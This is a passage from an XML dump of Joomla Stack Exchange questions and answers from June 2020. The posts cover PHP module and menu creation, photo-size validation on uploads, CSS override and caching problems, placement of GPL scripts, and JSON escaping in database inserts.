table.&#xA;                        return JFactory::getDbo()-&amp;gt;updateObject('#__subscriptions_'.$table, $object, 'id');&#xA;                    }&#xA;                }&#xA;                return false;&#xA;            }       &#xA;            function getDefaultAssetRules($component, $view, $inherit = true){&#xA;                // if new or inherited&#xA;                $assetId = 0;&#xA;&#xA;                // Only get the actual item rules if not inheriting&#xA;                if (!$inherit)&#xA;                {&#xA;                    // Need to find the asset id by the name of the component.&#xA;                    $db = JFactory::getDbo();&#xA;                    $query = $db-&amp;gt;getQuery(true)&#xA;                        -&amp;gt;select($db-&amp;gt;quoteName('id'))&#xA;                        -&amp;gt;from($db-&amp;gt;quoteName('#__assets'))&#xA;                        -&amp;gt;where($db-&amp;gt;quoteName('name') . ' = ' . $db-&amp;gt;quote($component));&#xA;                    $db-&amp;gt;setQuery($query);&#xA;                    $db-&amp;gt;execute();&#xA;&#xA;                    // check that there is a value&#xA;                    if ($db-&amp;gt;getNumRows())&#xA;                    {&#xA;                        // asset already set so use saved rules&#xA;                        $assetId = (int) $db-&amp;gt;loadResult();&#xA;                    }&#xA;                }&#xA;                // get asset rules&#xA;                $result =  JAccess::getAssetRules($assetId);&#xA;                if ($result instanceof JAccessRules)&#xA;                {&#xA;                    $_result = (string) $result;&#xA;                    $_result = json_decode($_result);&#xA;                    foreach ($_result as $name =&amp;gt; &amp;amp;$rule)&#xA;                    {&#xA;                        $v = explode('.', $name);&#xA;                        if ($view !== $v[0])&#xA;                        {&#xA;                            // remove since it is not part of this view&#xA;                            unset($_result-&amp;gt;$name);&#xA;                        }&#xA;                        elseif ($inherit)&#xA;                        {&#xA;                            // clear the value since we inherit&#xA;                            $rule = array();&#xA;                        }&#xA;                    }&#xA;                    // check if there are any view values remaining&#xA;                    if (count($_result))&#xA;                    {&#xA;                        $_result = json_encode($_result);&#xA;                        $_result = array($_result);&#xA;                        // Instantiate and return the JAccessRules object for the asset rules.&#xA;                        $rules = new JAccessRules($_result);&#xA;                        // return filtered rules&#xA;                        return $rules;&#xA;                    }&#xA;                }&#xA;                return $result;&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I can't find much on line about this so I'm guessing that it's not a standard thing to do but I'm trying to automate a process for a client.&lt;/p&gt;&#xA;&lt;p&gt;Any help thoughts would be really helpful.&lt;/p&gt;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="12248" LastActivityDate="2020-06-19T16:33:29.590" Title="Adding a module from a component" Tags="|joomla-3.x|component|module|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28186" PostTypeId="1" CreationDate="2020-06-20T11:12:53.313" Score="0" ViewCount="45" Body="&lt;p&gt;I use the Fox Contact component on my website, and through that component users send me photos (as an attachment)&#xA;I had to make a few modifications in the upload form itself and make filters for file name (only certain names are allowed). This filter works without any problems. I still have to do validation to check the size of the photo but I have no success. Even though the photo is larger than 1000px I don’t get a warning. This is my code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    //Name validation (this is OK)&#xA;&#xA;    $realname = $this-&amp;gt;getFileName();&#xA;    $realname = Normalizer::normalize($realname);&#xA;    setlocale(LC_ALL,'bs_BA.UTF-8'); &#xA;    $onlyname = pathinfo($realname, PATHINFO_FILENAME); &#xA;    //Create list of all names&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('eio3k_peaks.peak_name');&#xA;    $query-&amp;gt;from($db-&amp;gt;quoteName('#__peaks'));&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $peaks_list = $db-&amp;gt;loadColumn();&#xA;&#xA;    if (!in_array($onlyname, $peaks_list))&#xA;    {&#xA;&#xA;        return array('error' =&amp;gt; JText::_('The name of this photo &amp;quot;' .$onlyname. '&amp;quot; is incorrect.'));&#xA;        &#xA;    }&#xA;    &#xA;    &#xA;    //Size validation (this is not ok)&#xA;&#xA;    $dir = 'https://mysite.com/uploads/';&#xA;    $image_filename = $dir . $realname;&#xA;    list($width, $height) = getimagesize($image_filename);&#xA;    if (($width &amp;gt; 1000) OR ($height &amp;gt; 1000))&#xA;        {&#xA;        return array('error' =&amp;gt; JText::_('The photo is larger than 1000px'));&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Where I went wrong?&#xA;This is just the code I added. I can set up a complete file, but it's more than 250 lines of code&lt;/p&gt;&#xA;" OwnerUserId="11762" LastActivityDate="2020-06-21T13:04:39.633" Title="Photo size validation" Tags="|php|images|file-upload|attachments|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28188" PostTypeId="1" CreationDate="2020-06-20T20:32:54.573" Score="0" ViewCount="50" Body="&lt;p&gt;I am making a custom gallery module using &lt;a href=&quot;https://github.com/sachinchoolur/lightGallery&quot; rel=&quot;nofollow noreferrer&quot;&gt;Light Gallery&lt;/a&gt;. In most cases, I would just place all my JS files inside &lt;code&gt;/assets/js&lt;/code&gt; directory. But I wonder if this is good practice when using an external GPLv3 resource?&lt;/p&gt;&#xA;&lt;p&gt;Maybe a &lt;code&gt;lib&lt;/code&gt; directory would be more appropriate? Personally I prefer to just keep it inside the assets directory. It's unclear to me which directory to use and why? Any insights on this? What is &lt;strong&gt;best practice?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;PS: Module ships with both minified an unminified JS files, copyright notice remains intact offcourse.&lt;/p&gt;&#xA;" OwnerUserId="13507" LastEditorUserId="13507" LastEditDate="2020-06-20T22:49:57.667" LastActivityDate="2020-06-23T07:03:49.793" Title="What directory should contain GPL scripts from external source? Best practice?" Tags="|custom-module|best-practices|libraries|gpl|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28189" PostTypeId="1" CreationDate="2020-06-21T10:28:10.693" Score="0" ViewCount="406" Body="&lt;p&gt;I just wanted to implement a scroll to an element for two anchor tags. The problem is that Joomla is adding a forward slash between the hash mark and the named anchor.&lt;/p&gt;&#xA;&lt;p&gt;When I have something like &lt;code&gt;&amp;lt;a href=&amp;quot;#abc&amp;quot;&amp;gt;ABC&amp;lt;/a&amp;gt;&lt;/code&gt;,&lt;br&gt;the URL that Joomla produces is &lt;code&gt;www.example.com/#/abc&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Does anyone know how to stop the &lt;code&gt;#&lt;/code&gt; from becoming a directory?&lt;/p&gt;&#xA;" OwnerUserId="14361" LastEditorUserId="12352" LastEditDate="2020-06-21T13:34:19.290" LastActivityDate="2020-06-21T13:34:19.290" Title="A slash is being automatically added after the hashtag in urls" Tags="|articles|templates|url|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28190" PostTypeId="1" CreationDate="2020-06-21T12:21:17.463" Score="0" ViewCount="109" Body="&lt;p&gt;I have a strange problem with one of my homepages. I changed the &lt;code&gt;font-family&lt;/code&gt; and &lt;code&gt;font-size&lt;/code&gt; in my Joomla Template (JM Guesthouse by Joomla Monster) and nothing happened.&lt;/p&gt;&#xA;&lt;p&gt;After some minutes playing with the development tool, I discovered that something is loading the bootstrap.min.css file and this is overriding the CSS of my template.&lt;/p&gt;&#xA;&lt;p&gt;After some investigating the backend, I discovered that the Breezing Form that I implement via a module and iframe is loading this file.&lt;/p&gt;&#xA;&lt;p&gt;Also, the Googlemap that I implement with an iframe is loading this file as well.&lt;/p&gt;&#xA;&lt;p&gt;After I disabled both, the CSS works correctly.&lt;/p&gt;&#xA;&lt;p&gt;I would really like to use both on my homepage. How can I enable all of these processes and preserve my template's css declarations?&lt;/p&gt;&#xA;" OwnerUserId="14361" LastEditorUserId="12352" LastEditDate="2020-06-21T13:49:59.943" LastActivityDate="2024-03-03T08:06:50.847" Title="Other files overriding my template css with bootstrap?" Tags="|css|bootstrap|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28191" PostTypeId="2" ParentId="28186" CreationDate="2020-06-21T13:04:39.633" Score="2" Body="&lt;p&gt;I think I have a good idea where the error is.  You are using &lt;code&gt;$this-&amp;gt;getFileName()&lt;/code&gt; to get the files original name, then you mutate the filename using &lt;code&gt;normalize()&lt;/code&gt;.  At this point you have a new file name, but the system doesn't realise that this is the filename to be used forevermore.&lt;/p&gt;&#xA;&lt;p&gt;Basically, you will either need to rename the file in your file system to the new normalised filename, or you will need to reference the old/original filename when you want to fetch the dimensions.  ...At some point you are going to need to save the new file name to the system.&lt;/p&gt;&#xA;&lt;p&gt;I recommend that you implement your &lt;code&gt;peak_name&lt;/code&gt; check purely in sql instead of extracting all peak names from your database and making the &lt;code&gt;in_array()&lt;/code&gt; check in php.&lt;/p&gt;&#xA;&lt;p&gt;Also, for performance reasons, I recommend that you check the dimensions BEFORE making a trip to the database.  In general terms, I write &amp;quot;less expensive&amp;quot; processes before processes that consume more resources.&lt;/p&gt;&#xA;&lt;p&gt;Finally, I will urge you to check the file type before doing either of these checks.&lt;/p&gt;&#xA;&lt;p&gt;Untested suggestion...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$fileName = $this-&amp;gt;getFileName();&#xA;&#xA;if (max(array_slice(getimagesize('https://mysite.com/uploads/' . $fileName), 0, 2)) &amp;gt; 1000) {&#xA;    return [&#xA;        'error' =&amp;gt; JText::_('The photo is larger than 1000px'&#xA;    ];&#xA;}&#xA;&#xA;$newName = Normalizer::normalize($fileName);&#xA;setlocale(LC_ALL, 'bs_BA.UTF-8'); &#xA;$newNameNoExtension = pathinfo($newName, PATHINFO_FILENAME); &#xA;&#xA;$db = JFactory::getDbo();&#xA;$query = $db&#xA;    -&amp;gt;getQuery(true)&#xA;    -&amp;gt;select(&amp;quot;COUNT(1)&amp;quot;)&#xA;    -&amp;gt;from($db-&amp;gt;quoteName(&amp;quot;#__peaks&amp;quot;))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName(&amp;quot;peak_name&amp;quot;) . &amp;quot; = &amp;quot; . $db-&amp;gt;quote($newNameNoExtension));&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;if (!$db-&amp;gt;loadResult) {&#xA;    return [&#xA;        'error' =&amp;gt; JText::_('The name of this photo &amp;quot;' . $newNameNoExtension . '&amp;quot; is invalid.'&#xA;    ];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Relevant notes from the PHP Docs:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.php.net/manual/en/function.getimagesize.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;getimagesize()&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Caution This function expects filename to be a valid image file. If a non-image file is supplied, it may be incorrectly detected as an image and the function will return successfully, but the array may contain nonsensical values.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Do not use getimagesize() to check that a given file is a valid image. Use a purpose-built solution such as the Fileinfo extension instead.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Returns an array with up to 7 elements. Not all image types will include the channels and bits elements.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Index 0 and 1 contains respectively the width and the height of the image.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2020-06-21T13:04:39.633" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28192" PostTypeId="2" ParentId="28190" CreationDate="2020-06-21T20:01:10.287" Score="0" Body="&lt;p&gt;Bootstrap does not use &lt;code&gt;!important&lt;/code&gt; in its CSS font declarations, therefore the CSS file where you have declared your fonts must be getting loaded &lt;em&gt;before&lt;/em&gt; Bootstrap CSS. I have no knowledge of Joomla Monster templates; but with most template developers, there is usually a &amp;quot;custom&amp;quot; CSS file for this purpose. &lt;a href=&quot;https://www.joomla-monster.com/documentation/template-tutorials/how-to-add-your-own-css-styles-to-joomla-template-based-on-ef4-framework&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla-Monster Documentation&lt;/a&gt;. Otherwise, you could always declare your fonts using &lt;code&gt;!important&lt;/code&gt;, e.g.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;font-family: YourFont, sans-serif !important;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Remember to declare suitable fallback fonts in case &lt;code&gt;YourFont&lt;/code&gt; fails to be parsed by the browser.&lt;/p&gt;&#xA;" OwnerUserId="5627" LastEditorUserId="12352" LastEditDate="2020-06-22T04:11:30.507" LastActivityDate="2020-06-22T04:11:30.507" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28193" PostTypeId="1" AcceptedAnswerId="28194" CreationDate="2020-06-22T08:21:00.193" Score="1" ViewCount="483" Body="&lt;p&gt;I'm trying to create a menu item in joomla 3.x using php&lt;/p&gt;&#xA;&lt;p&gt;I've been trying to get this code to work:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$menuItem = array(&#xA;    'menutype' =&amp;gt; 'client-pages',&#xA;    'title' =&amp;gt; &amp;quot;new Menu&amp;quot;,&#xA;    'type' =&amp;gt; 'component',&#xA;    'component_id' =&amp;gt; 22,&#xA;    'link' =&amp;gt; 'index.php?option=com_content&amp;amp;view=article&amp;amp;id='.$articleid,&#xA;    'language' =&amp;gt; '*',&#xA;    'published' =&amp;gt; 1,&#xA;    'parent_id' =&amp;gt; $parent_id,&#xA;    'level' =&amp;gt; 1,&#xA;);&#xA;&#xA;$menuTable = JTable::getInstance('Menu', 'JTable', array());&#xA;&#xA;$menuTable-&amp;gt;setLocation($parent_id, 'last-child');&#xA;&#xA;if (!$menuTable-&amp;gt;save($menuItem)) {&#xA;    throw new Exception($menuTable-&amp;gt;getError());&#xA;    echo &amp;quot;exception thrown&amp;quot;;&#xA;    return false;&#xA;}&#xA;&#xA;echo &amp;quot;&amp;lt;pre&amp;gt;&amp;quot;;&#xA;print_r($menuTable);&#xA;echo &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It doesn't throw errors and the print_r menu table makes it look like it's going to create the menu item&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Joomla\CMS\Table\Menu Object&#xA;(&#xA;    [parent_id] =&amp;gt; 5536&#xA;    [level] =&amp;gt; 1&#xA;    [lft] =&amp;gt; 327&#xA;    [rgt] =&amp;gt; 328&#xA;    [alias] =&amp;gt; new-menu&#xA;    [_location:protected] =&amp;gt; last-child&#xA;    [_location_id:protected] =&amp;gt; &#xA;    [_cache:protected] =&amp;gt; Array&#xA;        (&#xA;            [rebuild.sql] =&amp;gt; &#xA;SELECT id, alias&#xA;FROM #__menu&#xA;WHERE parent_id = %d&#xA;ORDER BY parent_id, lft&#xA;        ) ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However no menu item is created - can someone suggest what I am doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="12248" LastActivityDate="2020-06-24T12:49:28.787" Title="Creating a menu using php" Tags="|joomla-3.x|menu-item|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28194" PostTypeId="2" ParentId="28193" CreationDate="2020-06-22T10:35:25.263" Score="3" Body="&lt;p&gt;For starters, perhaps just an oversight on bringing your code to the JSE platform here, but...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$menuTable = JTable::getInstance('Menu', 'JTable', array());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You are passing in an empty array.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$newMenu = new stdClass();&#xA;$newMenu-&amp;gt;title=&amp;quot;blah&amp;quot;;&#xA;$newMenu-&amp;gt;type=&amp;quot;component&amp;quot;;&#xA;etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then you can do:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$menuTable        = JTable::getInstance('menu', 'JTable');&#xA;$menuData         = (array)$newMenu;&#xA;&#xA;$menuTable-&amp;gt;setLocation($parent_id, 'last-child');&#xA;$menuTable-&amp;gt;save($menuData);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You are missing the following required properties in your &lt;code&gt;$menuItem&lt;/code&gt; array.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;alias&lt;/li&gt;&#xA;&lt;li&gt;path&lt;/li&gt;&#xA;&lt;li&gt;template_style_id&lt;/li&gt;&#xA;&lt;li&gt;params&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I'd also suggest doing this in a try/catch, which will be easier to diagnose.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;try&#xA;{&#xA;    if ($menuTable-&amp;gt;save($menuItem))&#xA;    {&#xA;        echo &amp;quot;Success&amp;quot;;&#xA;    }&#xA;    else&#xA;    {&#xA;        echo &amp;quot;Failed&amp;quot;;&#xA;    }&#xA;}&#xA;catch (Exception $e)&#xA;{&#xA;    throw new Exception('You might want to substitute this for another function, but $e will be your error exception', 500);&#xA;}&#xA;return $menuTable-&amp;gt;id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5627" LastEditorUserId="12352" LastEditDate="2020-06-24T12:49:28.787" LastActivityDate="2020-06-24T12:49:28.787" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="28196" PostTypeId="2" ParentId="28188" CreationDate="2020-06-23T04:08:18.457" Score="2" Body="&lt;p&gt;If the external resource is just 1 file (even if it has a minified version with it), I would place it directly in the /assets/js directory. If the resource is a collection of 2 or more files, I would give it a subdirectory within the /assets/js directory.&lt;/p&gt;&#xA;&lt;p&gt;This is just personal opinion since in many years of joomla experience I've never come across definitive guidelines for this. 3rd party extensions seem to be all over the place with their file organization. I'd leave it as a comment, but I'm new here and cannot.&lt;/p&gt;&#xA;" OwnerUserId="14370" LastActivityDate="2020-06-23T04:08:18.457" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28197" PostTypeId="1" CreationDate="2020-06-23T06:54:56.810" Score="0" ViewCount="309" Body="&lt;p&gt;I am new to Joomla and just downloaded a template (from my company) and deployed it on XAMPP.&lt;/p&gt;&#xA;&lt;p&gt;When I try to edit the CSS and refresh the page, the css does not get updated. I have tried clearing the cache and refreshing, but no such luck.&lt;/p&gt;&#xA;" OwnerUserId="14371" LastEditorUserId="12352" LastEditDate="2020-06-23T07:05:25.050" LastActivityDate="2024-03-04T16:07:30.877" Title="Edited css not updated in XAMPP" Tags="|css|joomla-3.3.x|xampp|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28198" PostTypeId="2" ParentId="28188" CreationDate="2020-06-23T07:03:49.793" Score="1" Body="&lt;p&gt;If you want to &lt;strong&gt;distribute your module&lt;/strong&gt; so that other people can use it, then you should keep flexibility in mind. In that case the best practice would be to put &lt;strong&gt;images, script and CSS style sheets&lt;/strong&gt; in their own extension folder in Joomla's &lt;strong&gt;/media/mod_yourmodule/js/&lt;/strong&gt;. The &lt;strong&gt;media folder&lt;/strong&gt; is used for files that are served by components, modules and plugins and &lt;strong&gt;can be overridden&lt;/strong&gt; with template overrides.&lt;/p&gt;&#xA;&lt;p&gt;If the module is &lt;strong&gt;just for your own website&lt;/strong&gt;, then I would do the same as Ricky Goldman recommends and add it to an /assets/js/ folder in your module.&lt;/p&gt;&#xA;&lt;p&gt;If I would want to use GPL &lt;strong&gt;PHP scripts&lt;/strong&gt; from external sources (e.g. from packagist.org), then I would use composer to add it to a /vendor/ folder in my own extension.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2020-06-23T07:03:49.793" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28199" PostTypeId="2" ParentId="28197" CreationDate="2020-06-23T08:50:01.400" Score="0" Body="&lt;p&gt;Joomla's default Protostar template includes CSS files with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('stylesheet', 'template.css', array('version' =&amp;gt; 'auto', 'relative' =&amp;gt; true));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;['version' =&amp;gt; 'auto']&lt;/code&gt; adds a &lt;strong&gt;media version MD5 hash&lt;/strong&gt; as token to the file. The media version is regenerated by Joomla whenever anything is installed on the Joomla instance. See &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page#.24options_and_.24attributes_Parameters&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page#.24options_and_.24attributes_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The media version &lt;strong&gt;does NOT change&lt;/strong&gt; when you make &lt;strong&gt;changes in your CSS&lt;/strong&gt;. You could add your own timestamp to force a browser to re-load the CSS instead using it from cache.&lt;/p&gt;&#xA;&lt;p&gt;In your template's index.php you could add something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\HTML\HTMLHelper;&#xA;&#xA;HTMLHelper::_(&#xA;    'stylesheet',&#xA;    'your-css-file.css',&#xA;    [&#xA;        'version'  =&amp;gt; filemtime(JPATH_THEMES&#xA;            . '/your-template/css/your-css-file.css'),&#xA;        'relative' =&amp;gt; true&#xA;    ]&#xA;);&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2020-06-23T08:50:01.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28200" PostTypeId="1" CreationDate="2020-06-23T19:03:29.123" Score="1" ViewCount="24" Body="&lt;p&gt;In the generated HTML for the input field, the &lt;code&gt;id&lt;/code&gt; and &lt;code&gt;name&lt;/code&gt; attributes shows the Joomla database table prefix.&lt;/p&gt;&#xA;&lt;p&gt;Exposing the database prefix is a security concern.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to prevent this?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&amp;quot;text&amp;quot;&#xA;       id=&amp;quot;jos75_customers___full_name&amp;quot;&#xA;       name=&amp;quot;jos75_customers___full_name&amp;quot;&#xA;       size=&amp;quot;60&amp;quot;&#xA;       maxlength=&amp;quot;255&amp;quot;&#xA;       class=&amp;quot;input-block-level form-control fabrikinput inputbox text&amp;quot;&#xA;       placeholder=&amp;quot;Full Name&amp;quot;&#xA;       value=&amp;quot;&amp;quot;&#xA;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14372" LastEditorUserId="12352" LastEditDate="2020-06-23T22:26:29.030" LastActivityDate="2020-06-23T22:26:29.030" Title="Fabrik security issue: input tag attributes expose database table prefix" Tags="|security|form|fabrik|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28201" PostTypeId="2" ParentId="28136" CreationDate="2020-06-23T19:25:35.853" Score="0" Body="&lt;p&gt;I think I understand the 'misunderstandnis' and I will try to make it more clear.&lt;/p&gt;&#xA;&lt;p&gt;I have edit.php with list of records (it is more ore less an admin view of an another table). The user can select 1 or more 'records' by a checkbox and add some additional data to this record. This is data for a link table and not for the admin view I mention here before&lt;/p&gt;&#xA;&lt;p&gt;I have made a filter bar, so the user can filter the list of records, which I have created with Ajax.&lt;/p&gt;&#xA;&lt;p&gt;Add the moment the user decide to press the 'save' button, not all records are on the moment on the form because of the filter.&#xA;On this moment I keep track of the selected records by putting the record id in a hidden field without the additional data, only to get the principle working!&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;But now the case I think were it turns around:&lt;/strong&gt;&lt;/em&gt;&#xA;So at the client side, before the user press the save button, I must have 'secured' somewhere the selected record id with the additional data!&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Now, I think, the only way to do this is, to put it in an hidden field like this and I will try this:&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;'add_array' =&amp;gt; string '{ &amp;quot;add_Array0&amp;quot;:{&amp;quot;key0&amp;quot;:&amp;quot;value0&amp;quot;,&amp;quot;key1&amp;quot;:&amp;quot;value1&amp;quot;,&amp;quot;key2&amp;quot;:&amp;quot;value2&amp;quot;,&amp;quot;key3&amp;quot;:&amp;quot;value3&amp;quot;}, &amp;quot;add_Array1&amp;quot;:{&amp;quot;key0&amp;quot;:&amp;quot;value0&amp;quot;,&amp;quot;key1&amp;quot;:&amp;quot;value1&amp;quot;,&amp;quot;key2&amp;quot;:&amp;quot;value2&amp;quot;,&amp;quot;key3&amp;quot;:&amp;quot;value3&amp;quot;}  &amp;quot;add_Arrayn&amp;quot;:{&amp;quot;key0&amp;quot;:&amp;quot;value0&amp;quot;,&amp;quot;key1&amp;quot;:&amp;quot;value1&amp;quot;,&amp;quot;key2&amp;quot;:&amp;quot;value2&amp;quot;,&amp;quot;key3&amp;quot;:&amp;quot;value3&amp;quot;}}'&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;With &lt;code&gt;&amp;lt;?php echo JHtml::_('grid.id', $i, $item-&amp;gt;id); ?&amp;gt;&lt;/code&gt; I'm to 'late', because it is server sided and what I mention, not all records are on the form on the moment of pressing the save button of the details page (edit.php).&lt;/p&gt;&#xA;&lt;p&gt;(Besides this: the functionality around selecting, deselecting records which mean maintaining the hidden field with ONLY record id, I have working. Also saving it in the database with insert new records, update records, remove records. That's not the issue.)&lt;/p&gt;&#xA;&lt;p&gt;I hope that I have it made more clear what I'm working on.&#xA;The reason why I'm asking it here is that I'm curious if there is an 'mechanism' in Joomla or a smarter way to solve this, because I can't believe that I'm the first one with this issue.&lt;/p&gt;&#xA;&lt;p&gt;And I'm also curious, it is the backend, but can it be an security issue to put the data on this way in the hidden field?&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&lt;p&gt;Nico&lt;/p&gt;&#xA;" OwnerUserId="14338" LastActivityDate="2020-06-23T19:25:35.853" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28202" PostTypeId="1" AcceptedAnswerId="28205" CreationDate="2020-06-23T19:57:16.300" Score="2" ViewCount="111" Body="&lt;p&gt;I'm writing to the db (I'm automatically creating a module):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$module = new stdClass();&#xA;&#xA;$module-&amp;gt;title = $moduleTitle;&#xA;$module-&amp;gt;note = &amp;quot;&amp;quot;;&#xA;$module-&amp;gt;content = &amp;quot;&amp;quot;;&#xA;&#xA;$module-&amp;gt;position = $modulePosition;&#xA;$module-&amp;gt;checked_out = 0;&#xA;&#xA;$module-&amp;gt;publish_up = &amp;quot;&amp;quot;;//current data and time in Y-M-day time e.g.2020-05-26 08:53:56&#xA;$module-&amp;gt;publish_down = &amp;quot;0000-00-00 00:00:00&amp;quot;;&#xA;$module-&amp;gt;published = 1;&#xA;$module-&amp;gt;module = $moduleModule;&#xA;$module-&amp;gt;access = $moduleAccess;&#xA;$module-&amp;gt;showtitle = 1;&#xA;$module-&amp;gt;params = $moduleParams;&#xA;$module-&amp;gt;client_id = 0; //front end module&#xA;$module-&amp;gt;language = &amp;quot;*&amp;quot;;&#xA;&#xA;&#xA;JFactory::getDbo()-&amp;gt;insertObject('#__modules', $module, 'primary_key');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This all works great apart from the $module params.&#xA;I create them by&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$myParams-&amp;gt;available_page_groups = '[&amp;quot;'.$currentmenuid.'&amp;quot;]';&#xA;$myParams-&amp;gt;show_page_title = 0;&#xA;$myParams-&amp;gt;show_page_notes = 0;&#xA;$myParams-&amp;gt;show_page_owner = 0;&#xA;etc.&#xA;&#xA;$myJSON = json_encode($myParams);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which produces correctly encoded JSON.  However when I look in the database the params have been escaped:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;available_page_groups&amp;quot;:&amp;quot;[\&amp;quot;13\&amp;quot;]&amp;quot;,&amp;quot;show_page_title&amp;quot;:0,&amp;quot;show_page_notes&amp;quot;:0,...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;they should read&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;available_page_groups&amp;quot;:&amp;quot;[&amp;quot;13&amp;quot;]&amp;quot;,&amp;quot;show_page_title&amp;quot;:0,&amp;quot;show_page_notes&amp;quot;:0,...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Can someone tell me how to stop the insertObject adding in the escape characters or is there another way I need to do this - i.e. some sort of raw filter to apply?&lt;/p&gt;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="12248" LastActivityDate="2020-06-28T01:15:04.033" Title="Json encoding being escaped" Tags="|joomla-3.x|module|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
